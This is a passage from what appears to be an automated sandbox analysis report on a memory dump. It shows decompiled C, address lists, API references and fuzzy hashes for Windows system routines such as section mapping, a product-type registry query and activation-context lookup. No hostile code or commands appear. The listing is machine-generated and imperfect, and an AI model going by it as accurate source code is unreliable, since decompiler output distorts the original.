0x6b5bb180
0x6b57d95a
0x6b57d95e
0x6b5bb203
0x6b5bb206
0x6b5bb20b
0x6b5bb20b
0x6b57d968
0x6b5bb213
0x6b5bb216
0x6b5bb218
0x6b5bb218
0x6b57d94f
0x00000000
0x6b57d94f
0x6b57d816
0x6b57d81d
0x6b57d821
0x6b57d822
0x6b57d828
0x6b5bb18c
0x6b5bb192
0x6b5bb195
0x6b5bb198
0x6b5bb19f
0x6b5bb19f
0x6b57d86f
0x6b57d872
0x6b57d879
0x6b57d883
0x6b57d88a
0x6b57d88d
0x6b57d892
0x6b57d896
0x6b5bb1e5
0x6b57d8bb
0x6b57d8bd
0x00000000
0x00000000
0x6b57d8c3
0x6b57d8c9
0x6b57d8ce
0x6b57d8cf
0x6b57d8d0
0x6b57d8d1
0x6b57d8d6
0x6b57d8dc
0x6b57d8e0
0x00000000
0x00000000
0x6b57d8e2
0x6b57d8e3
0x6b57d8e4
0x6b57d8e9
0x6b57d8ec
0x6b57d8f0
0x6b57d8f3
0x6b57d8f4
0x6b57d8f5
0x6b57d8f9
0x6b57d8fa
0x6b57d8fc
0x6b57d8ff
0x6b57d908
0x6b57d90a
0x6b57d90c
0x6b57d90f
0x6b57d914
0x6b57d914
0x6b57d919
0x00000000
0x6b57d91b
0x6b57d91e
0x6b57d925
0x6b57d96f
0x6b57d96f
0x6b57d929
0x00000000
0x6b57d92b
0x6b57d931
0x6b57d933
0x6b57d938
0x6b57d93d
0x6b57d93d
0x6b57d93f
0x6b57d944
0x6b5bb1f0
0x6b5bb1f6
0x6b5bb1f9
0x6b5bb1f9
0x6b57d94a
0x6b57d94d
0x6b57d94d
0x00000000
0x6b57d944
0x6b57d929
0x6b57d919
0x6b57d89c
0x6b57d8a1
0x6b5bb1bc
0x6b5bb1c0
0x00000000
0x00000000
0x6b5bb1c6
0x6b5bb1c9
0x6b5bb1d5
0x6b5bb1db
0x6b57d8a9
0x6b57d8b6
0x00000000
0x6b57d8b6
0x6b57d8a7
0x6b57d8a7
0x00000000
0x6b57d8a7
0x6b57d83f
0x6b57d843
0x00000000
0x00000000
0x6b57d849
0x6b57d84c
0x6b57d84f
0x6b57d855
0x6b5bb1a8
0x6b5bb1ae
0x6b5bb1b1
0x6b57d85b
0x6b57d85b
0x6b57d85b
0x6b57d85d
0x6b57d866
0x00000000
0x6b57d86c
0x6b57d86c
0x00000000
0x6b57d86c
0x6b57d866

APIs

RtlImageNtHeader.1105(?,00000000,?,02BE0000), ref: 6B57D807

Part of subcall function 6B55B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6B57381C,?,6B61FF48,00000050,6B573E98,?,6B56F900,00000000,00000000), ref: 6B55B076

Part of subcall function 6B5565BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6B5565CA

RtlFreeHeap.1105(?,00000000,?,?,6B57D77E,00000000,?,?,00000000,?,02BE0000), ref: 6B57D8B6
ZwCreateSection.1105(00000000,000F0005,00000000,00000000,02BE0000,08000000,00000000,6B57D77E,00000000,?,?,00000000,?,02BE0000), ref: 6B57D8D7
ZwMapViewOfSection.1105(00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000,08000000), ref: 6B57D8FF
ZwClose.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6B57D90F
RtlImageNtHeader.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6B57D91E
ZwClose.1105(00000000,?,6B57D77E,00000000,?,?,00000000,?,02BE0000), ref: 6B5BB1C9
RtlFreeHeap.1105(?,00000000,?,00000000,?,6B57D77E,00000000,?,?,00000000,?,02BE0000), ref: 6B5BB1DB

Part of subcall function 6B57D976: ZwCreateFile.1105(00000000,80100080,00000018,?,00000000,00000000,00000005,00000001,00000000,00000000,00000000,?,02BE0000,00000000,00000000), ref: 6B57D999

ZwClose.1105(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000), ref: 6B5BB1F9
ZwUnmapViewOfSection.1105(000000FF,00000000,6B57D77E,00000000,?,?,00000000,?,02BE0000), ref: 6B5BB218

Strings

@, xrefs: 6B57D883

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHeaderImageSection$CreateFreeHeapView$FileInitStringUnicodeUnmap
String ID: @
API String ID: 3014096824-2766056989
Opcode ID: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction ID: c78d620615558650d6aec38ae23192af59b33c3863d28eaf0ba27ad2a597c9a8
Opcode Fuzzy Hash: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction Fuzzy Hash: EC6151B1E40219ABEF21DFA9C844BEEBBB4EF85714F1041A9E824A7294D7799D01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F64FB, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 125
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6B5F64FB(intOrPtr* __ecx) {
				signed int _v8;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char* _v52;
				short _v54;
				void* _v56;
				char* _v60;
				char _v64;
				char* _v68;
				short _v70;
				char _v72;
				char* _v76;
				short _v78;
				void* _v80;
				char* _v84;
				short _v86;
				void* _v88;
				char* _v92;
				short _v94;
				void* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				intOrPtr _v116;
				char _v120;
				char _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t48;
				short _t49;
				void* _t50;
				short _t51;
				void* _t55;
				void* _t62;
				void* _t77;
				short _t81;
				short _t82;
				intOrPtr* _t83;
				signed int _t85;

				_v8 =  *0x6b63d360 ^ _t85;
				_t48 = 0x16;
				_t82 = 0x18;
				_t83 = __ecx;
				_v72 = _t48;
				_t77 = 0x10;
				_t49 = 0x12;
				_v86 = _t49;
				_v94 = _t49;
				_t50 = 0xa;
				_v80 = _t50;
				_t51 = 0xc;
				_v78 = _t51;
				_v112 =  &_v64;
				_push( &_v120);
				_v88 = _t77;
				_v96 = _t77;
				_push(1);
				_push( &_v48);
				_v64 = 0x840082;
				_v60 = L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\ProductOptions";
				_v70 = _t82;
				_v68 = L"ProductType";
				_v84 = L"LanmanNt";
				_v92 = L"ServerNt";
				_v76 = L"WinNt";
				_v48 = 0;
				_v120 = _t82;
				_v116 = 0;
				_v108 = 0x240;
				_v104 = 0;
				_v100 = 0;
				_t55 = E6B589600();
				_t84 = _t55;
				if(_t55 >= 0) {
					_push( &_v124);
					_push(0x24);
					_push( &_v44);
					_push(2);
					_push( &_v72);
					_push(_v48);
					_t62 = E6B589650();
					_t84 = _t62;
					if(_t62 >= 0) {
						if(_v40 != 1) {
							L10:
							_t84 = 0xc000090b;
						} else {
							_t31 =  &_v36; // 0x6b5b6637
							_t81 =  *_t31;
							if(_t81 < 2) {
								goto L10;
							} else {
								_v54 = _t81;
								_v52 =  &_v32;
								_v56 = _t81 - 2;
								if(RtlEqualUnicodeString( &_v56,  &_v80, 1) == 0) {
									if(RtlEqualUnicodeString( &_v56,  &_v88, 1) == 0) {
										if(RtlEqualUnicodeString( &_v56,  &_v96, 1) == 0) {
											goto L10;
										} else {
											 *_t83 = 3;
										}
									} else {
										 *_t83 = 2;
									}
								} else {
									 *_t83 = 1;
								}
							}
						}
					}
				}
				if(_v48 != 0) {
					_push(_v48);
					E6B5895D0();
				}
				return E6B58B640(_t84, 1, _v8 ^ _t85, _t82, _t83, _t84);
			}

0x6b5f650a
0x6b5f6512
0x6b5f6515
0x6b5f6518
0x6b5f651a
0x6b5f651e
0x6b5f6521
0x6b5f6524
0x6b5f652a
0x6b5f652f
0x6b5f6532
0x6b5f6536
0x6b5f6537
0x6b5f653e
0x6b5f6544
0x6b5f6545
0x6b5f654c
0x6b5f6552
0x6b5f6553
0x6b5f6554
0x6b5f655b
0x6b5f6562
0x6b5f6566
0x6b5f656d
0x6b5f6574
0x6b5f657b
0x6b5f6582
0x6b5f6585
0x6b5f6588
0x6b5f658b
0x6b5f6592
0x6b5f6595
0x6b5f6598
0x6b5f659d
0x6b5f65a1
0x6b5f65aa
0x6b5f65ab
0x6b5f65b0
0x6b5f65b1
0x6b5f65b6
0x6b5f65b7
0x6b5f65ba
0x6b5f65bf
0x6b5f65c3
0x6b5f65c8
0x6b5f662d
0x6b5f662d
0x6b5f65ca
0x6b5f65ca
0x6b5f65ca
0x6b5f65d0
0x00000000
0x6b5f65d2
0x6b5f65d5
0x6b5f65d9
0x6b5f65df
0x6b5f65f3
0x6b5f6609
0x6b5f6623
0x00000000
0x6b5f6625
0x6b5f6625
0x6b5f6625
0x6b5f660b
0x6b5f660b
0x6b5f660b
0x6b5f65f5
0x6b5f65f5
0x6b5f65f5
0x6b5f65f3
0x6b5f65d0
0x6b5f65c8
0x6b5f65c3
0x6b5f6636
0x6b5f6638
0x6b5f663b
0x6b5f663b
0x6b5f6652

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6B5F6598

Part of subcall function 6B589600: LdrInitializeThunk.NTDLL(6B581119,?,?,00000018,?), ref: 6B58960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6B5F65BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6B5F65EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6B5F6602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6B5F663B

Strings

ProductType, xrefs: 6B5F6566
WinNt, xrefs: 6B5F657B
7f[k, xrefs: 6B5F65CA
\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6B5F655B
LanmanNt, xrefs: 6B5F656D
ServerNt, xrefs: 6B5F6574

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: 7f[k$LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-2759510016
Opcode ID: 8113dca74ec7be0c3344d85eba8b498a774868f405dfedda6dbc929af170d14d
Instruction ID: 8aab5cfbb725674bbc71e606f04176ed9d28ab2343dd3a76d1b0eade5bde192a
Opcode Fuzzy Hash: 8113dca74ec7be0c3344d85eba8b498a774868f405dfedda6dbc929af170d14d
Instruction Fuzzy Hash: 844158B2C4021CAAEB10CFE4D982ADEF7BCEF49304F20412AE511AB250E7398D06CF55

Uniqueness

Uniqueness Score: -1.00%

Function 6B54395E, Relevance: 19.7, APIs: 13, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6B54395E(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t67;
				void* _t77;
				intOrPtr* _t81;
				signed int _t93;
				void* _t94;
				intOrPtr* _t97;
				intOrPtr* _t104;
				void* _t112;
				long _t113;
				signed int _t114;
				void* _t123;

				_v8 =  *0x6b63d360 ^ _t114;
				_v16 = __edx;
				_t93 = 0;
				_t112 = __ecx;
				_v12 = _v12 & 0;
				E6B56FAD0( *0x6b6384cc + 4);
				_t110 =  *0x6b6384cc + 8;
				_t97 =  *_t110;
				while(_t97 != _t110) {
					_t113 = _t97 - 0x1c;
					_t67 =  *((intOrPtr*)(_t112 + 0xc));
					if( *((intOrPtr*)(_t113 + 0x10)) !=  *((intOrPtr*)(_t112 + 8)) ||  *((intOrPtr*)(_t113 + 0x14)) != _t67 ||  *((intOrPtr*)(_t113 + 8)) !=  *_t112) {
						L21:
						_t97 =  *_t97;
						continue;
					} else {
						_t69 =  *((intOrPtr*)(_t113 + 0xc));
						if( *((intOrPtr*)(_t113 + 0xc)) !=  *((intOrPtr*)(_t112 + 4))) {
							goto L21;
						}
						_t94 = _t113 + 0x28;
						E6B562280(_t69, _t94);
						if( *(_t113 + 0x5c) == 2) {
							__eflags = _v16;
							if(_v16 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t113 + 0x58));
								 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
								 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & 0x00000000;
								L8:
								asm("lock inc dword [esi+0x50]");
								 *(_t113 + 0x5c) = 1;
								E6B55FFB0(_t94, _t112, _t94);
								_t123 =  *0x6b6384cc + 4;
								E6B56FA00(_t94, _t97, _t112,  *0x6b6384cc + 4);
								while(1) {
									_t95 = 0;
									_t77 = E6B543ACA(0, _t112, _t113, _t112, _t113, _t123, 0);
									_t124 = _t77 - 0xc000022d;
									if(_t77 == 0xc000022d) {
										_t95 = 0xc000022d;
									}
									_t110 = _t113;
									if(E6B543ACA(_t95, _t112, _t113, _t112, _t113, _t124, 1) == 0xc000022d) {
										_t93 = 0xc000022d;
									}
									E6B562280(_t113 + 0x28, _t113 + 0x28);
									_v12 = _v12 + 1;
									_t104 = _t113 + 0x2c;
									_t81 =  *_t104;
									while(_t81 != _t104) {
										 *(_t81 + 0x60) =  *(_t81 + 0x60) & 0x00000000;
										_t81 =  *_t81;
									}
									if( *(_t113 + 0x58) != 0) {
										_t112 =  *(_t113 + 0x58);
										 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
										E6B55FFB0(_t93, _t112, _t113 + 0x28);
										continue;
									}
									if(_t93 != 0) {
										__eflags = _t93 - 0xc000022d;
										if(_t93 == 0xc000022d) {
											 *(_t113 + 0x58) = _t112;
											 *(_t113 + 0x5c) = 2;
											E6B5D2DA1(_t113);
										}
										L17:
										E6B55FFB0(_t93, _t112, _t113 + 0x28);
										E6B57DE9E(_t113);
										L18:
										if(_v12 > 1) {
											_t113 = 0;
											_t49 = _t112 + 8; // 0x8
											_push(0);
											_push(0);
											_push(_t93);
											_push( *((intOrPtr*)(_t112 + 0x18)));
											_push(_t112);
											E6B58A3A0();
											__eflags = _t93;
											if(_t93 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t112);
											}
											_t93 = 0x80;
										}
										return E6B58B640(_t93, _t93, _v8 ^ _t114, _t110, _t112, _t113);
									}
									 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & _t93;
									if( *((intOrPtr*)(_t113 + 0x18)) != _t93) {
										__eflags =  *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18));
										if( *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18)) > 0) {
											goto L16;
										}
										goto L17;
									}
									L16:
									 *((intOrPtr*)(_t113 + 0x18)) =  *((intOrPtr*)(_t112 + 0x10));
									goto L17;
								}
							}
							_push(_t94);
							L27:
							E6B55FFB0(_t94, _t112);
							_t93 = 0x80;
							break;
						}
						if( *(_t113 + 0x5c) == 1) {
							__eflags = _v16;
							_push(_t94);
							if(_v16 != 0) {
								goto L27;
							}
							 *(_t113 + 0x58) = _t112;
							E6B55FFB0(_t94, _t112);
							_t93 = 0x103;
							break;
						}
						goto L8;
					}
				}
				E6B56FA00(_t93, _t97, _t112,  *0x6b6384cc + 4);
				goto L18;
			}

0x6b54396d
0x6b54397b
0x6b54397e
0x6b543980
0x6b543982
0x6b543986
0x6b543991
0x6b543994
0x6b543996
0x6b5439a1
0x6b5439a7
0x6b5439aa
0x6b543aa7
0x6b543aa7
0x00000000
0x6b5439c4
0x6b5439c4
0x6b5439ca
0x00000000
0x00000000
0x6b5439d0
0x6b5439d4
0x6b5439dd
0x6b59fffc
0x6b5a0000
0x6b5a0020
0x6b5a0025
0x6b5a0029
0x6b5439ed
0x6b5439ed
0x6b5439f2
0x6b5439f9
0x6b543a03
0x6b543a07
0x6b543a0c
0x6b543a0c
0x6b543a13
0x6b543a1d
0x6b543a1f
0x6b5a004b
0x6b5a004b
0x6b543a27
0x6b543a37
0x6b5a0052
0x6b5a0052
0x6b543a41
0x6b543a46
0x6b543a49
0x6b543a4c
0x6b543a4e
0x6b543a9f
0x6b543aa3
0x6b543aa3
0x6b543a56
0x6b5a0059
0x6b5a005f
0x6b5a0064
0x00000000
0x6b5a0064
0x6b543a5e
0x6b5a0073
0x6b5a0075
0x6b5a007d
0x6b5a0080
0x6b5a0087
0x6b5a0087
0x6b543a72
0x6b543a76
0x6b543a7d
0x6b543a82
0x6b543a86
0x6b5a0091
0x6b5a0093
0x6b5a0096
0x6b5a0097
0x6b5a0098
0x6b5a0099
0x6b5a009c
0x6b5a009e
0x6b5a00a3
0x6b5a00a5
0x6b5a00b2
0x6b5a00b2
0x6b5a00b7
0x6b5a00b7
0x6b543a9e
0x6b543a9e
0x6b543a64
0x6b543a6a
0x6b543ac4
0x6b543ac6
0x00000000
0x00000000
0x00000000
0x6b543ac8
0x6b543a6c
0x6b543a6f
0x00000000
0x6b543a6f
0x6b543a0c
0x6b5a0002
0x6b5a0003
0x6b5a0003
0x6b5a0008
0x00000000
0x6b5a0008
0x6b5439e7
0x6b5a0032
0x6b5a0036
0x6b5a0037
0x00000000
0x00000000
0x6b5a0039
0x6b5a003c
0x6b5a0041
0x00000000
0x6b5a0041
0x00000000
0x6b5439e7
0x6b5439aa
0x6b543ab7
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6B543986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6B5439D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6B5439F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6B543A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6B543A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6B543A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6B543AB7

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 73dc80da1e30fee5be2b20ac86dec44dc2b548fffe23ccc311a96957205beb59
Instruction ID: f6cc074b0c8c1fc18c7c25c8e1e678e12cd9532f667498a1eaee0fde3467507b
Opcode Fuzzy Hash: 73dc80da1e30fee5be2b20ac86dec44dc2b548fffe23ccc311a96957205beb59
Instruction Fuzzy Hash: C1518F71A407419FE730DF6AC884A9AB3B9FF8571DF00486ED04297A65D77CE848CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6B562D50, Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 397
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E6B562D50(signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int _v48;
				intOrPtr _v52;
				char _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				char _v89;
				void* _v96;
				void* _v100;
				void* _v113;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t131;
				intOrPtr* _t134;
				intOrPtr _t139;
				void* _t140;
				signed int _t150;
				signed int _t156;
				intOrPtr* _t167;
				intOrPtr _t168;
				signed int _t169;
				void* _t174;
				intOrPtr _t175;
				signed int _t176;
				void* _t177;
				intOrPtr _t179;
				signed int _t180;
				signed int _t184;
				intOrPtr _t189;
				void* _t200;
				intOrPtr* _t201;
				intOrPtr _t210;
				signed int _t211;
				void* _t212;
				void* _t224;
				intOrPtr _t226;
				signed int _t227;
				void* _t228;
				void* _t230;
				signed int _t231;
				signed int _t232;
				void* _t233;
				signed int _t237;
				signed int _t239;

				_t239 = (_t237 & 0xfffffff8) - 0x44;
				_v8 =  *0x6b63d360 ^ _t239;
				_t184 =  *[fs:0x18];
				_t131 =  *((intOrPtr*)(_t184 + 0x30));
				if( *((intOrPtr*)(_t131 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t131 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t184 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t132 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v12 = 0xffffffff;
					_v16 = 0;
					if(_a16 == 0) {
						L81:
						_t132 = 0xc000000d;
						goto L33;
					} else {
						_t222 = _a4;
						if((_t222 & 0xfffffff8) != 0) {
							goto L81;
						} else {
							_t11 =  &_a20; // 0x6b562a25
							_t134 =  *_t11;
							if((_t222 & 0x00000007) == 0) {
								if(_t134 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t134 == 0) {
									goto L81;
								} else {
									L5:
									if( *_t134 < 0x24) {
										goto L81;
									} else {
										L6:
										if((_t222 & 0x00000002) == 0) {
											L9:
											if((_t222 & 0x00000004) != 0) {
												if(_t134 + 0x40 <=  *_t134 + _t134) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L80;
												}
											} else {
												L10:
												_t231 = _a8;
												_v36 = _t222;
												_t222 =  *[fs:0x18];
												_v28 = _a12;
												_v24 = 0;
												_t175 = _v24;
												_t189 =  *((intOrPtr*)(_t222 + 0x30));
												_v40 = 0x18;
												_v20 = 0;
												_v32 = _t231;
												_v64 = 0;
												_v60 = _t222;
												_v52 = _t189;
												while(1) {
													_t139 = _t175;
													if(_t139 != 0) {
														goto L34;
													}
													_t167 =  *((intOrPtr*)(_t222 + 0x1a8));
													if(_t167 == 0) {
														L14:
														_t226 =  *((intOrPtr*)(_t189 + 0x1f8));
														_v64 = 0;
														if(_t226 == 0) {
															L36:
															_t226 =  *((intOrPtr*)(_t189 + 0x200));
															_v64 = 0xfffffffc;
															if(_t226 == 0) {
																L86:
																if(_t175 <= 3) {
																	goto L16;
																} else {
																	_t132 = 0xc00000e5;
																	goto L89;
																}
															} else {
																_t175 = 3;
																_v24 = 3;
																goto L16;
															}
														} else {
															_t175 = 2;
															_v24 = 2;
															goto L16;
														}
													} else {
														_t168 =  *_t167;
														if(_t168 != 0) {
															_t169 =  *((intOrPtr*)(_t168 + 4));
															_v64 = _t169;
															if(_t169 == 0) {
																L58:
																if(_t226 == 0) {
																	goto L14;
																} else {
																	goto L59;
																}
															} else {
																if(_t169 == 0xfffffffc) {
																	_t226 =  *((intOrPtr*)(_t189 + 0x200));
																	goto L58;
																} else {
																	if(_t169 == 0xfffffffd) {
																		_t226 = "Actx ";
																		L59:
																		_t175 = 1;
																		_v24 = 1;
																		L16:
																		if(_t226 == 0) {
																			_t132 = 0xc0150001;
																			L89:
																			_t232 = 0;
																			goto L90;
																		} else {
																			_t222 = _t231;
																			_t132 = E6B5631F0(_t226, _t231, _a12,  &_v56,  &_v48);
																			if(_t132 < 0) {
																				_t232 = 0;
																				if(_t132 != 0xc0150001 || _t175 == 3) {
																					goto L19;
																				} else {
																					_t189 = _v52;
																					_t222 = _v60;
																					_t231 = _a8;
																					continue;
																				}
																			} else {
																				_t222 = _v64;
																				_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																				asm("sbb esi, esi");
																				_t232 =  ~(_t222 - 0xfffffffc) & _t222;
																				_t132 = 0;
																				L19:
																				if(_t132 < 0) {
																					L90:
																					if(_t132 < 0) {
																						goto L33;
																					} else {
																						goto L20;
																					}
																				} else {
																					L20:
																					_t176 = _v48;
																					if(_t176 < 0x2c) {
																						L104:
																						_t142 = _v56;
																						goto L105;
																					} else {
																						_t46 =  &_a20; // 0x6b562a25
																						_t227 =  *_t46;
																						while(1) {
																							L22:
																							_t142 = _v56;
																							if( *_v56 != 0x64487353) {
																								break;
																							}
																							_t239 = _t239 - 8;
																							_t222 = _t176;
																							_push( &_v16);
																							_push( &_v12);
																							_push(_t227);
																							_push(_a16);
																							_t132 = E6B563360(_t142, _t176);
																							if(_t132 >= 0) {
																								_t85 = _t232 - 1; // -1
																								if((_t85 | 0x00000007) != 0xffffffff) {
																									_t150 =  *(_t232 + 0x14);
																									 *(_t239 + 0x28) = _t150;
																									if(_t150 != 0 && (( *(_t232 + 0x1c) & 0x00000008) == 0 || ( *(_t232 + 0x3c) & 0x00000008) == 0)) {
																										 *((char*)(_t239 + 0x13)) = 0;
																										 *0x6b63b1e0(3, _t232,  *((intOrPtr*)(_t232 + 0x10)),  *((intOrPtr*)(_t232 + 0x18)), 0, _t239 + 0x13);
																										 *((intOrPtr*)(_t239 + 0x40))();
																										 *(_t232 + 0x1c) =  *(_t232 + 0x1c) | 0x00000008;
																										if(_v89 != 0) {
																											 *(_t232 + 0x3c) =  *(_t232 + 0x3c) | 0x00000008;
																										}
																									}
																								}
																								if(_t227 == 0) {
																									L66:
																									_pop(_t228);
																									_pop(_t233);
																									_pop(_t177);
																									return E6B58B640(0, _t177, _v8 ^ _t239, _t222, _t228, _t233);
																								} else {
																									_t148 = _v56;
																									_t222 = _t227;
																									if(E6B56FD1F(_a4, _t227, _t232,  &_v40, _v56,  *((intOrPtr*)(_v56 + 0x24)),  *((intOrPtr*)(_t148 + 0x28)), _t176) < 0) {
																										goto L33;
																									} else {
																										goto L66;
																									}
																								}
																							} else {
																								if(_t132 != 0xc0150008) {
																									L33:
																									_pop(_t224);
																									_pop(_t230);
																									_pop(_t174);
																									return E6B58B640(_t132, _t174, _v8 ^ _t239, _t222, _t224, _t230);
																								} else {
																									_t222 =  *[fs:0x18];
																									_t232 = 0;
																									_v64 = 0;
																									 *(_t239 + 0x28) = _t222;
																									_v60 = 0;
																									_v52 =  *((intOrPtr*)(_t222 + 0x30));
																									_t179 = _v24;
																									L26:
																									while(1) {
																										if(_t179 <= 2) {
																											_t200 = _t179 - _t232;
																											if(_t200 == 0) {
																												_t201 =  *((intOrPtr*)(_t222 + 0x1a8));
																												if(_t201 == 0) {
																													goto L67;
																												} else {
																													_t210 =  *_t201;
																													if(_t210 == 0) {
																														goto L67;
																													} else {
																														_t211 =  *((intOrPtr*)(_t210 + 4));
																														_v60 = _t211;
																														if(_t211 == 0) {
																															L101:
																															if(_t156 == 0) {
																																goto L67;
																															} else {
																																goto L102;
																															}
																														} else {
																															if(_t211 != 0xfffffffc) {
																																if(_t211 != 0xfffffffd) {
																																	_t156 =  *(_t211 + 0x10);
																																	goto L100;
																																} else {
																																	_t156 = "Actx ";
																																	_v64 = _t156;
																																	L102:
																																	_t179 = 1;
																																	_v24 = 1;
																																	goto L28;
																																}
																															} else {
																																_t156 =  *(_v52 + 0x200);
																																L100:
																																_v64 = _t156;
																																goto L101;
																															}
																														}
																													}
																												}
																											} else {
																												_t212 = _t200 - 1;
																												if(_t212 == 0) {
																													L67:
																													_v60 = 0;
																													_t156 =  *(_v52 + 0x1f8);
																													_v64 = _t156;
																													if(_t156 == 0) {
																														goto L44;
																													} else {
																														_t179 = 2;
																														_v24 = 2;
																														goto L28;
																													}
																												} else {
																													if(_t212 != 1) {
																														goto L27;
																													} else {
																														L44:
																														_v60 = 0xfffffffc;
																														_t156 =  *(_v52 + 0x200);
																														_v64 = _t156;
																														if(_t156 == 0) {
																															goto L27;
																														} else {
																															_t179 = 3;
																															_v24 = 3;
																															goto L28;
																														}
																													}
																												}
																											}
																										} else {
																											L27:
																											if(_t179 > 3) {
																												_t132 = 0xc00000e5;
																												goto L30;
																											} else {
																												L28:
																												if(_t156 != 0) {
																													_t222 = _a8;
																													_t132 = E6B5631F0(_t156, _a8, _a12,  &_v56,  &_v48);
																													if(_t132 < 0) {
																														if(_t132 != 0xc0150001 || _t179 == 3) {
																															_t180 = 0;
																															goto L48;
																														} else {
																															_t156 = _v64;
																															_t222 =  *(_t239 + 0x28);
																															continue;
																														}
																													} else {
																														_t222 = _v60;
